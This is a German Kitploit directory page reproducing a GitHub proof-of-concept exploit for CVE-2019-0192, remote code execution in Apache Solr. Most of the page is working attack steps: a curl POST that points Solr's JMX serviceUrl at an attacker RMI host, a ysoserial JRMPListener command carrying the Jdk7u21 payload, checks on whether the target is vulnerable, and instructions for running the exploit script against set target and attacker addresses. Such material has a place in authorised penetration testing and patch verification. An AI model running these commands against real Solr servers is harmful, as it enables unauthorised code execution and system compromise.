Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-0192 — RCE auf Apache Solr durch Deserialisierung nicht vertrauenswürdiger Daten über jmx.serviceUrl | Kitploit
Tools/GitHubGitHub/mpgn/cve-2019-0192
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubmpgn/cve-2019-0192

CVE-2019-0192

RCE auf Apache Solr durch Deserialisierung nicht vertrauenswürdiger Daten über jmx.serviceUrl

Repository anzeigen
208553vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-0192 - Apache Solr RCE 5.0.0 bis 5.5.5 und 6.0.0 bis 6.6.5

Dies ist ein früher PoC des Apache Solr RCE

Von https://issues.apache.org/jira/browse/SOLR-13301:

Die ConfigAPI ermöglicht es, Solrs JMX-Server über eine HTTP-POST-Anfrage zu konfigurieren. Indem man sie auf einen bösartigen RMI-Server verweist, könnte ein Angreifer die unsichere Deserialisierung von Solr ausnutzen, um Remote-Code-Ausführung auf der Solr-Seite auszulösen.

Proof of Concept

image


Wenn man sich die Beschreibung des Security Advisories ansieht und die ConfigAPI-Ressourcen von Apache Solr prüft, findet man einen Verweis auf einen JMX-Server:

image

serviceUrl - (optional str) Service-URL für einen JMX-Server. Wenn nicht angegeben, wird der standardmäßige Plattform-MBean-Server verwendet.

Indem wir prüfen, wie ConfigAPI funktioniert, können wir nachvollziehen, wie ein entfernter JMX-Server gesetzt wird:

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Für den PoC verwende ich yoserial, um mit dem Payload Jdk7u21 einen bösartigen RMI-Server zu erstellen.

  1. Starte den bösartigen RMI-Server:
root@kitploit:~
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
  1. Führe die POST-Anfrage aus:
root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Hinweis: Du solltest einen 500-Fehler mit einem schönen Stacktrace erhalten.

  1. Prüfe den Stacktrace:
  • Wenn du diesen Fehler siehst: "Non-annotation type in annotation serial stream" bedeutet das, dass Apache Solr mit einer Java-Version > JRE 7u25 läuft und dieser PoC nicht funktionieren wird.

  • Andernfalls solltest du diesen Fehler sehen: "undeclared checked exception; nested exception is" und der PoC sollte funktionieren.

Exploit

  1. Lade yoserial herunter: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  2. Ändere die Werte im Skript:
root@kitploit:~
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
  1. Führe dann das Skript aus:
root@kitploit:~
python3 CVE-2019-0192.py

Security Advisory:

  • http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

Ressourcen:

  • https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
  • https://issues.apache.org/jira/browse/SOLR-13301
Tool herunterladen